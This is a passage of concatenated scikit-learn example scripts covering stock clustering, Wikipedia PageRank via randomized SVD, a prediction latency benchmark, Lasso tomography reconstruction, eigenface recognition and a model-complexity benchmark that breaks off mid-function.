    'AAPL': 'Apple',
    'SAP': 'SAP',
    'CSCO': 'Cisco',
    'TXN': 'Texas instruments',
    'XRX': 'Xerox',
    'LMT': 'Lookheed Martin',
    'WMT': 'Wal-Mart',
    'WBA': 'Walgreen',
    'HD': 'Home Depot',
    'GSK': 'GlaxoSmithKline',
    'PFE': 'Pfizer',
    'SNY': 'Sanofi-Aventis',
    'NVS': 'Novartis',
    'KMB': 'Kimberly-Clark',
    'R': 'Ryder',
    'GD': 'General Dynamics',
    'RTN': 'Raytheon',
    'CVS': 'CVS',
    'CAT': 'Caterpillar',
    'DD': 'DuPont de Nemours'}

symbols, names = np.array(list(symbol_dict.items())).T

quotes = [quotes_historical_yahoo_ochl(symbol, d1, d2, asobject=True)
          for symbol in symbols]

open = np.array([q.open for q in quotes]).astype(np.float)
close = np.array([q.close for q in quotes]).astype(np.float)

# The daily variations of the quotes are what carry most information
variation = close - open

###############################################################################
# Learn a graphical structure from the correlations
edge_model = covariance.GraphLassoCV()

# standardize the time series: using correlations rather than covariance
# is more efficient for structure recovery
X = variation.copy().T
X /= X.std(axis=0)
edge_model.fit(X)

###############################################################################
# Cluster using affinity propagation

_, labels = cluster.affinity_propagation(edge_model.covariance_)
n_labels = labels.max()

for i in range(n_labels + 1):
    print('Cluster %i: %s' % ((i + 1), ', '.join(names[labels == i])))

###############################################################################
# Find a low-dimension embedding for visualization: find the best position of
# the nodes (the stocks) on a 2D plane

# We use a dense eigen_solver to achieve reproducibility (arpack is
# initiated with random vectors that we don't control). In addition, we
# use a large number of neighbors to capture the large-scale structure.
node_position_model = manifold.LocallyLinearEmbedding(
    n_components=2, eigen_solver='dense', n_neighbors=6)

embedding = node_position_model.fit_transform(X.T).T

###############################################################################
# Visualization
plt.figure(1, facecolor='w', figsize=(10, 8))
plt.clf()
ax = plt.axes([0., 0., 1., 1.])
plt.axis('off')

# Display a graph of the partial correlations
partial_correlations = edge_model.precision_.copy()
d = 1 / np.sqrt(np.diag(partial_correlations))
partial_correlations *= d
partial_correlations *= d[:, np.newaxis]
non_zero = (np.abs(np.triu(partial_correlations, k=1)) > 0.02)

# Plot the nodes using the coordinates of our embedding
plt.scatter(embedding[0], embedding[1], s=100 * d ** 2, c=labels,
            cmap=plt.cm.spectral)

# Plot the edges
start_idx, end_idx = np.where(non_zero)
#a sequence of (*line0*, *line1*, *line2*), where::
#            linen = (x0, y0), (x1, y1), ... (xm, ym)
segments = [[embedding[:, start], embedding[:, stop]]
            for start, stop in zip(start_idx, end_idx)]
values = np.abs(partial_correlations[non_zero])
lc = LineCollection(segments,
                    zorder=0, cmap=plt.cm.hot_r,
                    norm=plt.Normalize(0, .7 * values.max()))
lc.set_array(values)
lc.set_linewidths(15 * values)
ax.add_collection(lc)

# Add a label to each node. The challenge here is that we want to
# position the labels to avoid overlap with other labels
for index, (name, label, (x, y)) in enumerate(
        zip(names, labels, embedding.T)):

    dx = x - embedding[0]
    dx[index] = 1
    dy = y - embedding[1]
    dy[index] = 1
    this_dx = dx[np.argmin(np.abs(dy))]
    this_dy = dy[np.argmin(np.abs(dx))]
    if this_dx > 0:
        horizontalalignment = 'left'
        x = x + .002
    else:
        horizontalalignment = 'right'
        x = x - .002
    if this_dy > 0:
        verticalalignment = 'bottom'
        y = y + .002
    else:
        verticalalignment = 'top'
        y = y - .002
    plt.text(x, y, name, size=10,
             horizontalalignment=horizontalalignment,
             verticalalignment=verticalalignment,
             bbox=dict(facecolor='w',
                       edgecolor=plt.cm.spectral(label / float(n_labels)),
                       alpha=.6))

plt.xlim(embedding[0].min() - .15 * embedding[0].ptp(),
         embedding[0].max() + .10 * embedding[0].ptp(),)
plt.ylim(embedding[1].min() - .03 * embedding[1].ptp(),
         embedding[1].max() + .03 * embedding[1].ptp())

plt.show()






"""
===============================
Wikipedia principal eigenvector
===============================

A classical way to assert the relative importance of vertices in a
graph is to compute the principal eigenvector of the adjacency matrix
so as to assign to each vertex the values of the components of the first
eigenvector as a centrality score:

    https://en.wikipedia.org/wiki/Eigenvector_centrality

On the graph of webpages and links those values are called the PageRank
scores by Google.

The goal of this example is to analyze the graph of links inside
wikipedia articles to rank articles by relative importance according to
this eigenvector centrality.

The traditional way to compute the principal eigenvector is to use the
power iteration method:

    https://en.wikipedia.org/wiki/Power_iteration

Here the computation is achieved thanks to Martinsson's Randomized SVD
algorithm implemented in the scikit.

The graph data is fetched from the DBpedia dumps. DBpedia is an extraction
of the latent structured data of the Wikipedia content.
"""

# Author: Olivier Grisel <olivier.grisel@ensta.org>
# License: BSD 3 clause

from __future__ import print_function

from bz2 import BZ2File
import os
from datetime import datetime
from pprint import pprint
from time import time

import numpy as np

from scipy import sparse

from sklearn.decomposition import randomized_svd
from sklearn.externals.joblib import Memory
from sklearn.externals.six.moves.urllib.request import urlopen
from sklearn.externals.six import iteritems


print(__doc__)

###############################################################################
# Where to download the data, if not already on disk
redirects_url = "http://downloads.dbpedia.org/3.5.1/en/redirects_en.nt.bz2"
redirects_filename = redirects_url.rsplit("/", 1)[1]

page_links_url = "http://downloads.dbpedia.org/3.5.1/en/page_links_en.nt.bz2"
page_links_filename = page_links_url.rsplit("/", 1)[1]

resources = [
    (redirects_url, redirects_filename),
    (page_links_url, page_links_filename),
]

for url, filename in resources:
    if not os.path.exists(filename):
        print("Downloading data from '%s', please wait..." % url)
        opener = urlopen(url)
        open(filename, 'wb').write(opener.read())
        print()


###############################################################################
# Loading the redirect files

memory = Memory(cachedir=".")


def index(redirects, index_map, k):
    """Find the index of an article name after redirect resolution"""
    k = redirects.get(k, k)
    return index_map.setdefault(k, len(index_map))


DBPEDIA_RESOURCE_PREFIX_LEN = len("http://dbpedia.org/resource/")
SHORTNAME_SLICE = slice(DBPEDIA_RESOURCE_PREFIX_LEN + 1, -1)


def short_name(nt_uri):
    """Remove the < and > URI markers and the common URI prefix"""
    return nt_uri[SHORTNAME_SLICE]


def get_redirects(redirects_filename):
    """Parse the redirections and build a transitively closed map out of it"""
    redirects = {}
    print("Parsing the NT redirect file")
    for l, line in enumerate(BZ2File(redirects_filename)):
        split = line.split()
        if len(split) != 4:
            print("ignoring malformed line: " + line)
            continue
        redirects[short_name(split[0])] = short_name(split[2])
        if l % 1000000 == 0:
            print("[%s] line: %08d" % (datetime.now().isoformat(), l))

    # compute the transitive closure
    print("Computing the transitive closure of the redirect relation")
    for l, source in enumerate(redirects.keys()):
        transitive_target = None
        target = redirects[source]
        seen = set([source])
        while True:
            transitive_target = target
            target = redirects.get(target)
            if target is None or target in seen:
                break
            seen.add(target)
        redirects[source] = transitive_target
        if l % 1000000 == 0:
            print("[%s] line: %08d" % (datetime.now().isoformat(), l))

    return redirects


# disabling joblib as the pickling of large dicts seems much too slow
#@memory.cache
def get_adjacency_matrix(redirects_filename, page_links_filename, limit=None):
    """Extract the adjacency graph as a scipy sparse matrix

    Redirects are resolved first.

    Returns X, the scipy sparse adjacency matrix, redirects as python
    dict from article names to article names and index_map a python dict
    from article names to python int (article indexes).
    """

    print("Computing the redirect map")
    redirects = get_redirects(redirects_filename)

    print("Computing the integer index map")
    index_map = dict()
    links = list()
    for l, line in enumerate(BZ2File(page_links_filename)):
        split = line.split()
        if len(split) != 4:
            print("ignoring malformed line: " + line)
            continue
        i = index(redirects, index_map, short_name(split[0]))
        j = index(redirects, index_map, short_name(split[2]))
        links.append((i, j))
        if l % 1000000 == 0:
            print("[%s] line: %08d" % (datetime.now().isoformat(), l))

        if limit is not None and l >= limit - 1:
            break

    print("Computing the adjacency matrix")
    X = sparse.lil_matrix((len(index_map), len(index_map)), dtype=np.float32)
    for i, j in links:
        X[i, j] = 1.0
    del links
    print("Converting to CSR representation")
    X = X.tocsr()
    print("CSR conversion done")
    return X, redirects, index_map


# stop after 5M links to make it possible to work in RAM
X, redirects, index_map = get_adjacency_matrix(
    redirects_filename, page_links_filename, limit=5000000)
names = dict((i, name) for name, i in iteritems(index_map))

print("Computing the principal singular vectors using randomized_svd")
t0 = time()
U, s, V = randomized_svd(X, 5, n_iter=3)
print("done in %0.3fs" % (time() - t0))

# print the names of the wikipedia related strongest components of the
# principal singular vector which should be similar to the highest eigenvector
print("Top wikipedia pages according to principal singular vectors")
pprint([names[i] for i in np.abs(U.T[0]).argsort()[-10:]])
pprint([names[i] for i in np.abs(V[0]).argsort()[-10:]])


def centrality_scores(X, alpha=0.85, max_iter=100, tol=1e-10):
    """Power iteration computation of the principal eigenvector

    This method is also known as Google PageRank and the implementation
    is based on the one from the NetworkX project (BSD licensed too)
    with copyrights by:

      Aric Hagberg <hagberg@lanl.gov>
      Dan Schult <dschult@colgate.edu>
      Pieter Swart <swart@lanl.gov>
    """
    n = X.shape[0]
    X = X.copy()
    incoming_counts = np.asarray(X.sum(axis=1)).ravel()

    print("Normalizing the graph")
    for i in incoming_counts.nonzero()[0]:
        X.data[X.indptr[i]:X.indptr[i + 1]] *= 1.0 / incoming_counts[i]
    dangle = np.asarray(np.where(X.sum(axis=1) == 0, 1.0 / n, 0)).ravel()

    scores = np.ones(n, dtype=np.float32) / n  # initial guess
    for i in range(max_iter):
        print("power iteration #%d" % i)
        prev_scores = scores
        scores = (alpha * (scores * X + np.dot(dangle, prev_scores))
                  + (1 - alpha) * prev_scores.sum() / n)
        # check convergence: normalized l_inf norm
        scores_max = np.abs(scores).max()
        if scores_max == 0.0:
            scores_max = 1.0
        err = np.abs(scores - prev_scores).max() / scores_max
        print("error: %0.6f" % err)
        if err < n * tol:
            return scores

    return scores

print("Computing principal eigenvector score using a power iteration method")
t0 = time()
scores = centrality_scores(X, max_iter=100, tol=1e-10)
print("done in %0.3fs" % (time() - t0))
pprint([names[i] for i in np.abs(scores).argsort()[-10:]])






"""
==================
Prediction Latency
==================

This is an example showing the prediction latency of various scikit-learn
estimators.

The goal is to measure the latency one can expect when doing predictions
either in bulk or atomic (i.e. one by one) mode.

The plots represent the distribution of the prediction latency as a boxplot.

"""

# Authors: Eustache Diemert <eustache@diemert.fr>
# License: BSD 3 clause

from __future__ import print_function
from collections import defaultdict

import time
import gc
import numpy as np
import matplotlib.pyplot as plt

from sklearn.preprocessing import StandardScaler
from sklearn.model_selection import train_test_split
from scipy.stats import scoreatpercentile
from sklearn.datasets.samples_generator import make_regression
from sklearn.ensemble.forest import RandomForestRegressor
from sklearn.linear_model.ridge import Ridge
from sklearn.linear_model.stochastic_gradient import SGDRegressor
from sklearn.svm.classes import SVR
from sklearn.utils import shuffle


def _not_in_sphinx():
    # Hack to detect whether we are running by the sphinx builder
    return '__file__' in globals()


def atomic_benchmark_estimator(estimator, X_test, verbose=False):
    """Measure runtime prediction of each instance."""
    n_instances = X_test.shape[0]
    runtimes = np.zeros(n_instances, dtype=np.float)
    for i in range(n_instances):
        instance = X_test[[i], :]
        start = time.time()
        estimator.predict(instance)
        runtimes[i] = time.time() - start
    if verbose:
        print("atomic_benchmark runtimes:", min(runtimes), scoreatpercentile(
            runtimes, 50), max(runtimes))
    return runtimes


def bulk_benchmark_estimator(estimator, X_test, n_bulk_repeats, verbose):
    """Measure runtime prediction of the whole input."""
    n_instances = X_test.shape[0]
    runtimes = np.zeros(n_bulk_repeats, dtype=np.float)
    for i in range(n_bulk_repeats):
        start = time.time()
        estimator.predict(X_test)
        runtimes[i] = time.time() - start
    runtimes = np.array(list(map(lambda x: x / float(n_instances), runtimes)))
    if verbose:
        print("bulk_benchmark runtimes:", min(runtimes), scoreatpercentile(
            runtimes, 50), max(runtimes))
    return runtimes


def benchmark_estimator(estimator, X_test, n_bulk_repeats=30, verbose=False):
    """
    Measure runtimes of prediction in both atomic and bulk mode.

    Parameters
    ----------
    estimator : already trained estimator supporting `predict()`
    X_test : test input
    n_bulk_repeats : how many times to repeat when evaluating bulk mode

    Returns
    -------
    atomic_runtimes, bulk_runtimes : a pair of `np.array` which contain the
    runtimes in seconds.

    """
    atomic_runtimes = atomic_benchmark_estimator(estimator, X_test, verbose)
    bulk_runtimes = bulk_benchmark_estimator(estimator, X_test, n_bulk_repeats,
                                             verbose)
    return atomic_runtimes, bulk_runtimes


def generate_dataset(n_train, n_test, n_features, noise=0.1, verbose=False):
    """Generate a regression dataset with the given parameters."""
    if verbose:
        print("generating dataset...")

    X, y, coef = make_regression(n_samples=n_train + n_test,
                                 n_features=n_features, noise=noise, coef=True)

    random_seed = 13
    X_train, X_test, y_train, y_test = train_test_split(
        X, y, train_size=n_train, random_state=random_seed)
    X_train, y_train = shuffle(X_train, y_train, random_state=random_seed)

    X_scaler = StandardScaler()
    X_train = X_scaler.fit_transform(X_train)
    X_test = X_scaler.transform(X_test)

    y_scaler = StandardScaler()
    y_train = y_scaler.fit_transform(y_train[:, None])[:, 0]
    y_test = y_scaler.transform(y_test[:, None])[:, 0]

    gc.collect()
    if verbose:
        print("ok")
    return X_train, y_train, X_test, y_test


def boxplot_runtimes(runtimes, pred_type, configuration):
    """
    Plot a new `Figure` with boxplots of prediction runtimes.

    Parameters
    ----------
    runtimes : list of `np.array` of latencies in micro-seconds
    cls_names : list of estimator class names that generated the runtimes
    pred_type : 'bulk' or 'atomic'

    """

    fig, ax1 = plt.subplots(figsize=(10, 6))
    bp = plt.boxplot(runtimes, )

    cls_infos = ['%s\n(%d %s)' % (estimator_conf['name'],
                                  estimator_conf['complexity_computer'](
                                      estimator_conf['instance']),
                                  estimator_conf['complexity_label']) for
                 estimator_conf in configuration['estimators']]
    plt.setp(ax1, xticklabels=cls_infos)
    plt.setp(bp['boxes'], color='black')
    plt.setp(bp['whiskers'], color='black')
    plt.setp(bp['fliers'], color='red', marker='+')

    ax1.yaxis.grid(True, linestyle='-', which='major', color='lightgrey',
                   alpha=0.5)

    ax1.set_axisbelow(True)
    ax1.set_title('Prediction Time per Instance - %s, %d feats.' % (
        pred_type.capitalize(),
        configuration['n_features']))
    ax1.set_ylabel('Prediction Time (us)')

    plt.show()


def benchmark(configuration):
    """Run the whole benchmark."""
    X_train, y_train, X_test, y_test = generate_dataset(
        configuration['n_train'], configuration['n_test'],
        configuration['n_features'])

    stats = {}
    for estimator_conf in configuration['estimators']:
        print("Benchmarking", estimator_conf['instance'])
        estimator_conf['instance'].fit(X_train, y_train)
        gc.collect()
        a, b = benchmark_estimator(estimator_conf['instance'], X_test)
        stats[estimator_conf['name']] = {'atomic': a, 'bulk': b}

    cls_names = [estimator_conf['name'] for estimator_conf in configuration[
        'estimators']]
    runtimes = [1e6 * stats[clf_name]['atomic'] for clf_name in cls_names]
    boxplot_runtimes(runtimes, 'atomic', configuration)
    runtimes = [1e6 * stats[clf_name]['bulk'] for clf_name in cls_names]
    boxplot_runtimes(runtimes, 'bulk (%d)' % configuration['n_test'],
                     configuration)


def n_feature_influence(estimators, n_train, n_test, n_features, percentile):
    """
    Estimate influence of the number of features on prediction time.

    Parameters
    ----------

    estimators : dict of (name (str), estimator) to benchmark
    n_train : nber of training instances (int)
    n_test : nber of testing instances (int)
    n_features : list of feature-space dimensionality to test (int)
    percentile : percentile at which to measure the speed (int [0-100])

    Returns:
    --------

    percentiles : dict(estimator_name,
                       dict(n_features, percentile_perf_in_us))

    """
    percentiles = defaultdict(defaultdict)
    for n in n_features:
        print("benchmarking with %d features" % n)
        X_train, y_train, X_test, y_test = generate_dataset(n_train, n_test, n)
        for cls_name, estimator in estimators.items():
            estimator.fit(X_train, y_train)
            gc.collect()
            runtimes = bulk_benchmark_estimator(estimator, X_test, 30, False)
            percentiles[cls_name][n] = 1e6 * scoreatpercentile(runtimes,
                                                               percentile)
    return percentiles


def plot_n_features_influence(percentiles, percentile):
    fig, ax1 = plt.subplots(figsize=(10, 6))
    colors = ['r', 'g', 'b']
    for i, cls_name in enumerate(percentiles.keys()):
        x = np.array(sorted([n for n in percentiles[cls_name].keys()]))
        y = np.array([percentiles[cls_name][n] for n in x])
        plt.plot(x, y, color=colors[i], )
    ax1.yaxis.grid(True, linestyle='-', which='major', color='lightgrey',
                   alpha=0.5)
    ax1.set_axisbelow(True)
    ax1.set_title('Evolution of Prediction Time with #Features')
    ax1.set_xlabel('#Features')
    ax1.set_ylabel('Prediction Time at %d%%-ile (us)' % percentile)
    plt.show()


def benchmark_throughputs(configuration, duration_secs=0.1):
    """benchmark throughput for different estimators."""
    X_train, y_train, X_test, y_test = generate_dataset(
        configuration['n_train'], configuration['n_test'],
        configuration['n_features'])
    throughputs = dict()
    for estimator_config in configuration['estimators']:
        estimator_config['instance'].fit(X_train, y_train)
        start_time = time.time()
        n_predictions = 0
        while (time.time() - start_time) < duration_secs:
            estimator_config['instance'].predict(X_test[[0]])
            n_predictions += 1
        throughputs[estimator_config['name']] = n_predictions / duration_secs
    return throughputs


def plot_benchmark_throughput(throughputs, configuration):
    fig, ax = plt.subplots(figsize=(10, 6))
    colors = ['r', 'g', 'b']
    cls_infos = ['%s\n(%d %s)' % (estimator_conf['name'],
                                  estimator_conf['complexity_computer'](
                                      estimator_conf['instance']),
                                  estimator_conf['complexity_label']) for
                 estimator_conf in configuration['estimators']]
    cls_values = [throughputs[estimator_conf['name']] for estimator_conf in
                  configuration['estimators']]
    plt.bar(range(len(throughputs)), cls_values, width=0.5, color=colors)
    ax.set_xticks(np.linspace(0.25, len(throughputs) - 0.75, len(throughputs)))
    ax.set_xticklabels(cls_infos, fontsize=10)
    ymax = max(cls_values) * 1.2
    ax.set_ylim((0, ymax))
    ax.set_ylabel('Throughput (predictions/sec)')
    ax.set_title('Prediction Throughput for different estimators (%d '
                 'features)' % configuration['n_features'])
    plt.show()


###############################################################################
# main code

start_time = time.time()

# benchmark bulk/atomic prediction speed for various regressors
configuration = {
    'n_train': int(1e3),
    'n_test': int(1e2),
    'n_features': int(1e2),
    'estimators': [
        {'name': 'Linear Model',
         'instance': SGDRegressor(penalty='elasticnet', alpha=0.01,
                                  l1_ratio=0.25, fit_intercept=True),
         'complexity_label': 'non-zero coefficients',
         'complexity_computer': lambda clf: np.count_nonzero(clf.coef_)},
        {'name': 'RandomForest',
         'instance': RandomForestRegressor(),
         'complexity_label': 'estimators',
         'complexity_computer': lambda clf: clf.n_estimators},
        {'name': 'SVR',
         'instance': SVR(kernel='rbf'),
         'complexity_label': 'support vectors',
         'complexity_computer': lambda clf: len(clf.support_vectors_)},
    ]
}
benchmark(configuration)

# benchmark n_features influence on prediction speed
percentile = 90
percentiles = n_feature_influence({'ridge': Ridge()},
                                  configuration['n_train'],
                                  configuration['n_test'],
                                  [100, 250, 500], percentile)
plot_n_features_influence(percentiles, percentile)

# benchmark throughput
throughputs = benchmark_throughputs(configuration)
plot_benchmark_throughput(throughputs, configuration)

stop_time = time.time()
print("example run in %.2fs" % (stop_time - start_time))






"""
======================================================================
Compressive sensing: tomography reconstruction with L1 prior (Lasso)
======================================================================

This example shows the reconstruction of an image from a set of parallel
projections, acquired along different angles. Such a dataset is acquired in
**computed tomography** (CT).

Without any prior information on the sample, the number of projections
required to reconstruct the image is of the order of the linear size
``l`` of the image (in pixels). For simplicity we consider here a sparse
image, where only pixels on the boundary of objects have a non-zero
value. Such data could correspond for example to a cellular material.
Note however that most images are sparse in a different basis, such as
the Haar wavelets. Only ``l/7`` projections are acquired, therefore it is
necessary to use prior information available on the sample (its
sparsity): this is an example of **compressive sensing**.

The tomography projection operation is a linear transformation. In
addition to the data-fidelity term corresponding to a linear regression,
we penalize the L1 norm of the image to account for its sparsity. The
resulting optimization problem is called the :ref:`lasso`. We use the
class :class:`sklearn.linear_model.Lasso`, that uses the coordinate descent
algorithm. Importantly, this implementation is more computationally efficient
on a sparse matrix, than the projection operator used here.

The reconstruction with L1 penalization gives a result with zero error
(all pixels are successfully labeled with 0 or 1), even if noise was
added to the projections. In comparison, an L2 penalization
(:class:`sklearn.linear_model.Ridge`) produces a large number of labeling
errors for the pixels. Important artifacts are observed on the
reconstructed image, contrary to the L1 penalization. Note in particular
the circular artifact separating the pixels in the corners, that have
contributed to fewer projections than the central disk.
"""

print(__doc__)

# Author: Emmanuelle Gouillart <emmanuelle.gouillart@nsup.org>
# License: BSD 3 clause

import numpy as np
from scipy import sparse
from scipy import ndimage
from sklearn.linear_model import Lasso
from sklearn.linear_model import Ridge
import matplotlib.pyplot as plt


def _weights(x, dx=1, orig=0):
    x = np.ravel(x)
    floor_x = np.floor((x - orig) / dx)
    alpha = (x - orig - floor_x * dx) / dx
    return np.hstack((floor_x, floor_x + 1)), np.hstack((1 - alpha, alpha))


def _generate_center_coordinates(l_x):
    X, Y = np.mgrid[:l_x, :l_x].astype(np.float64)
    center = l_x / 2.
    X += 0.5 - center
    Y += 0.5 - center
    return X, Y


def build_projection_operator(l_x, n_dir):
    """ Compute the tomography design matrix.

    Parameters
    ----------

    l_x : int
        linear size of image array

    n_dir : int
        number of angles at which projections are acquired.

    Returns
    -------
    p : sparse matrix of shape (n_dir l_x, l_x**2)
    """
    X, Y = _generate_center_coordinates(l_x)
    angles = np.linspace(0, np.pi, n_dir, endpoint=False)
    data_inds, weights, camera_inds = [], [], []
    data_unravel_indices = np.arange(l_x ** 2)
    data_unravel_indices = np.hstack((data_unravel_indices,
                                      data_unravel_indices))
    for i, angle in enumerate(angles):
        Xrot = np.cos(angle) * X - np.sin(angle) * Y
        inds, w = _weights(Xrot, dx=1, orig=X.min())
        mask = np.logical_and(inds >= 0, inds < l_x)
        weights += list(w[mask])
        camera_inds += list(inds[mask] + i * l_x)
        data_inds += list(data_unravel_indices[mask])
    proj_operator = sparse.coo_matrix((weights, (camera_inds, data_inds)))
    return proj_operator


def generate_synthetic_data():
    """ Synthetic binary data """
    rs = np.random.RandomState(0)
    n_pts = 36.
    x, y = np.ogrid[0:l, 0:l]
    mask_outer = (x - l / 2) ** 2 + (y - l / 2) ** 2 < (l / 2) ** 2
    mask = np.zeros((l, l))
    points = l * rs.rand(2, n_pts)
    mask[(points[0]).astype(np.int), (points[1]).astype(np.int)] = 1
    mask = ndimage.gaussian_filter(mask, sigma=l / n_pts)
    res = np.logical_and(mask > mask.mean(), mask_outer)
    return res - ndimage.binary_erosion(res)


# Generate synthetic images, and projections
l = 128
proj_operator = build_projection_operator(l, l / 7.)
data = generate_synthetic_data()
proj = proj_operator * data.ravel()[:, np.newaxis]
proj += 0.15 * np.random.randn(*proj.shape)

# Reconstruction with L2 (Ridge) penalization
rgr_ridge = Ridge(alpha=0.2)
rgr_ridge.fit(proj_operator, proj.ravel())
rec_l2 = rgr_ridge.coef_.reshape(l, l)

# Reconstruction with L1 (Lasso) penalization
# the best value of alpha was determined using cross validation
# with LassoCV
rgr_lasso = Lasso(alpha=0.001)
rgr_lasso.fit(proj_operator, proj.ravel())
rec_l1 = rgr_lasso.coef_.reshape(l, l)

plt.figure(figsize=(8, 3.3))
plt.subplot(131)
plt.imshow(data, cmap=plt.cm.gray, interpolation='nearest')
plt.axis('off')
plt.title('original image')
plt.subplot(132)
plt.imshow(rec_l2, cmap=plt.cm.gray, interpolation='nearest')
plt.title('L2 penalization')
plt.axis('off')
plt.subplot(133)
plt.imshow(rec_l1, cmap=plt.cm.gray, interpolation='nearest')
plt.title('L1 penalization')
plt.axis('off')

plt.subplots_adjust(hspace=0.01, wspace=0.01, top=1, bottom=0, left=0,
                    right=1)

plt.show()






"""
===================================================
Faces recognition example using eigenfaces and SVMs
===================================================

The dataset used in this example is a preprocessed excerpt of the
"Labeled Faces in the Wild", aka LFW_:

  http://vis-www.cs.umass.edu/lfw/lfw-funneled.tgz (233MB)

.. _LFW: http://vis-www.cs.umass.edu/lfw/

Expected results for the top 5 most represented people in the dataset:

================== ============ ======= ========== =======
                   precision    recall  f1-score   support
================== ============ ======= ========== =======
     Ariel Sharon       0.67      0.92      0.77        13
     Colin Powell       0.75      0.78      0.76        60
  Donald Rumsfeld       0.78      0.67      0.72        27
    George W Bush       0.86      0.86      0.86       146
Gerhard Schroeder       0.76      0.76      0.76        25
      Hugo Chavez       0.67      0.67      0.67        15
       Tony Blair       0.81      0.69      0.75        36

      avg / total       0.80      0.80      0.80       322
================== ============ ======= ========== =======

"""
from __future__ import print_function

from time import time
import logging
import matplotlib.pyplot as plt

from sklearn.model_selection import train_test_split
from sklearn.model_selection import GridSearchCV
from sklearn.datasets import fetch_lfw_people
from sklearn.metrics import classification_report
from sklearn.metrics import confusion_matrix
from sklearn.decomposition import RandomizedPCA
from sklearn.svm import SVC


print(__doc__)

# Display progress logs on stdout
logging.basicConfig(level=logging.INFO, format='%(asctime)s %(message)s')


###############################################################################
# Download the data, if not already on disk and load it as numpy arrays

lfw_people = fetch_lfw_people(min_faces_per_person=70, resize=0.4)

# introspect the images arrays to find the shapes (for plotting)
n_samples, h, w = lfw_people.images.shape

# for machine learning we use the 2 data directly (as relative pixel
# positions info is ignored by this model)
X = lfw_people.data
n_features = X.shape[1]

# the label to predict is the id of the person
y = lfw_people.target
target_names = lfw_people.target_names
n_classes = target_names.shape[0]

print("Total dataset size:")
print("n_samples: %d" % n_samples)
print("n_features: %d" % n_features)
print("n_classes: %d" % n_classes)


###############################################################################
# Split into a training set and a test set using a stratified k fold

# split into a training and testing set
X_train, X_test, y_train, y_test = train_test_split(
    X, y, test_size=0.25, random_state=42)


###############################################################################
# Compute a PCA (eigenfaces) on the face dataset (treated as unlabeled
# dataset): unsupervised feature extraction / dimensionality reduction
n_components = 150

print("Extracting the top %d eigenfaces from %d faces"
      % (n_components, X_train.shape[0]))
t0 = time()
pca = RandomizedPCA(n_components=n_components, whiten=True).fit(X_train)
print("done in %0.3fs" % (time() - t0))

eigenfaces = pca.components_.reshape((n_components, h, w))

print("Projecting the input data on the eigenfaces orthonormal basis")
t0 = time()
X_train_pca = pca.transform(X_train)
X_test_pca = pca.transform(X_test)
print("done in %0.3fs" % (time() - t0))


###############################################################################
# Train a SVM classification model

print("Fitting the classifier to the training set")
t0 = time()
param_grid = {'C': [1e3, 5e3, 1e4, 5e4, 1e5],
              'gamma': [0.0001, 0.0005, 0.001, 0.005, 0.01, 0.1], }
clf = GridSearchCV(SVC(kernel='rbf', class_weight='balanced'), param_grid)
clf = clf.fit(X_train_pca, y_train)
print("done in %0.3fs" % (time() - t0))
print("Best estimator found by grid search:")
print(clf.best_estimator_)


###############################################################################
# Quantitative evaluation of the model quality on the test set

print("Predicting people's names on the test set")
t0 = time()
y_pred = clf.predict(X_test_pca)
print("done in %0.3fs" % (time() - t0))

print(classification_report(y_test, y_pred, target_names=target_names))
print(confusion_matrix(y_test, y_pred, labels=range(n_classes)))


###############################################################################
# Qualitative evaluation of the predictions using matplotlib

def plot_gallery(images, titles, h, w, n_row=3, n_col=4):
    """Helper function to plot a gallery of portraits"""
    plt.figure(figsize=(1.8 * n_col, 2.4 * n_row))
    plt.subplots_adjust(bottom=0, left=.01, right=.99, top=.90, hspace=.35)
    for i in range(n_row * n_col):
        plt.subplot(n_row, n_col, i + 1)
        plt.imshow(images[i].reshape((h, w)), cmap=plt.cm.gray)
        plt.title(titles[i], size=12)
        plt.xticks(())
        plt.yticks(())


# plot the result of the prediction on a portion of the test set

def title(y_pred, y_test, target_names, i):
    pred_name = target_names[y_pred[i]].rsplit(' ', 1)[-1]
    true_name = target_names[y_test[i]].rsplit(' ', 1)[-1]
    return 'predicted: %s\ntrue:      %s' % (pred_name, true_name)

prediction_titles = [title(y_pred, y_test, target_names, i)
                     for i in range(y_pred.shape[0])]

plot_gallery(X_test, prediction_titles, h, w)

# plot the gallery of the most significative eigenfaces

eigenface_titles = ["eigenface %d" % i for i in range(eigenfaces.shape[0])]
plot_gallery(eigenfaces, eigenface_titles, h, w)

plt.show()






"""
==========================
Model Complexity Influence
==========================

Demonstrate how model complexity influences both prediction accuracy and
computational performance.

The dataset is the Boston Housing dataset (resp. 20 Newsgroups) for
regression (resp. classification).

For each class of models we make the model complexity vary through the choice
of relevant model parameters and measure the influence on both computational
performance (latency) and predictive power (MSE or Hamming Loss).
"""

print(__doc__)

# Author: Eustache Diemert <eustache@diemert.fr>
# License: BSD 3 clause

import time
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.axes_grid1.parasite_axes import host_subplot
from mpl_toolkits.axisartist.axislines import Axes
from scipy.sparse.csr import csr_matrix

from sklearn import datasets
from sklearn.utils import shuffle
from sklearn.metrics import mean_squared_error
from sklearn.svm.classes import NuSVR
from sklearn.ensemble.gradient_boosting import GradientBoostingRegressor
from sklearn.linear_model.stochastic_gradient import SGDClassifier
from sklearn.metrics import hamming_loss

###############################################################################
# Routines


# initialize random generator
np.random.seed(0)


def generate_data(case, sparse=False):
    """Generate regression/classification data."""
    bunch = None
    if case == 'regression':
        bunch = datasets.load_boston()
    elif case == 'classification':
        bunch = datasets.fetch_20newsgroups_vectorized(subset='all')
    X, y = shuffle(bunch.data, bunch.target)
    offset = int(X.shape[0] * 0.8)
    X_train, y_train = X[:offset], y[:offset]
    X_test, y_test = X[offset:], y[offset:]
    if sparse:
        X_train = csr_matrix(X_train)
        X_test = csr_matrix(X_test)
    else:
        X_train = np.array(X_train)
        X_test = np.array(X_test)
    y_test = np.array(y_test)
    y_train = np.array(y_train)
    data = {'X_train': X_train, 'X_test': X_test, 'y_train': y_train,
            'y_test': y_test}
    return data


def benchmark_influence(conf):
    """
    Benchmark influence of :changing_param: on both MSE and latency.
    """
    prediction_times = []
    prediction_powers = []
    complexities = []
    for param_value in conf['changing_param_values']:
        conf['tuned_params'][conf['changing_param']] = param_value
        estimator = conf['estimator'](**conf['tuned_params'])
        print("Benchmarking %s" % estimator)
        estimator.fit(conf['data']['X_train'], conf['data']['y_train'])
        conf['postfit_hook'](estimator)
        complexity = conf['complexity_computer'](estimator)
        complexities.append(complexity)
        start_time = time.time()
        for _ in range(conf['n_samples']):
            y_pred = estimator.predict(conf['data']['X_test'])
        elapsed_time = (time.time() - start_time) / float(conf['n_samples'])
